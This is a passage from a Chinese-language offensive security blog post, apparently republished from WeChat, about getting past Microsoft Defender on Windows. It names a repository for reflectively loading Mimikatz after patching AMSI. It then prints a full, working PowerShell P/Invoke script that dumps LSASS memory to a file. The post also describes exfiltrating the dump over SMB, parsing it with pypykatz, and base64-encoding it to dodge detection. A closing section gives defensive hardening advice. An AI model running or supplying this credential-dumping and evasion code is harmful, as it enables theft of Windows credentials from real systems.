幸运的是,这个 repo不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明。

https://github.com/S3cur3Th1sSh1t/PowerSharpPack

对于这个 PoC,我将执行 Mimikatz,但你可以随意使用任何其他工具。

反射加载 Mimikatz。

请注意,如前所述,某些二进制文件可能不需要绕过AMSI,这取决于您在脚本中应用的二进制文件的字符串表示。但是由于Invoke-Mimikatz很有名,所以我需要在这个例子中使用它。

10. 调用c#程序集

P/Invoke 或 Platform Invoke 允许我们从非托管的本机 Windows DLL 访问结构、回调和函数,以便访问可能无法直接从 .NET 获得的本机组件中的较低级别 API。(类似的功能,JAVA中叫JNI)

现在,由于我们知道它的作用,并且知道我们可以在 PowerShell 中使用 .NET,这意味着我们可以从 PowerShell 脚本访问低级 API,如果我们之前修补了 AMSI,我们可以在没有 Defender 监视的情况下运行该脚本。

对于这个概念证明,假设我们想通过 MiniDumpWriteDump 将 LSASS 进程转储到文件中,该文件在“Dbghelp.dll”中可用。为此,我们可以利用fortra 的 nanodump 工具。但是,Microsoft 有一堆该工具的特征码。相反,我们可以利用 P/Invoke 编写一个 PowerShell 脚本来执行相同的操作,但我们可以修补 AMSI 以使其在这样做时变得不可检测。

https://github.com/fortra/nanodump

因此,我将为 PoC 使用以下 PS 代码。

MiniDumpWriteDump.ps

Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}

$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}

在这个例子中,我们首先通过Add-Type从Dbghelp.dll导入MiniDumpWriteDump函数,接着从kernel32.dll导入OpenProcess和CloseHandle函数。最后获得LSASS进程的句柄,并使用MiniDumpWriteDump执行该进程的全内存转储,并将其写入文件。

因此,完整的PoC如下:

执行LSASS转储

img

使用impacket-smbclient下载转储

img

使用pypykatz在本地解析MiniDump文件

img

注意,最后我使用了一个稍微修改过的脚本,在将转储文件写入文件之前将其加密为base64,因为Defender将该文件检测为LSASS转储文件并将其删除。

结论

有了所有这些,我不是试图揭露Defender或说它是一个糟糕的反病毒解决方案。事实上,它可能是市场上最好的技术之一,这里的大多数技术都可以与大多数供应商一起使用。但因为这是我可以在这篇文章中使用的,所以我不能代表其他人说话。

最后,您不应该依赖AV或EDR作为抵御威胁参与者的第一道防线,而是应该加强基础设施,以便即使绕过端点解决方案,也可以将潜在的损害降到最低。例如:强权限系统、gpo、ASR规则、受控访问、流程加固、CLM、AppLocker等。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI1ODM1MjUxMQ==&mid=2247493178&idx=1&sn=e5dd073b742341eccc00572e3107092b&chksm=ea0bd22add7c5b3cbb92a84cc910fdbe6e1f621c060f691e6cdf1ebd31374a1c19e6518e04f5#rd
如有侵权请联系:admin#unsafe.sh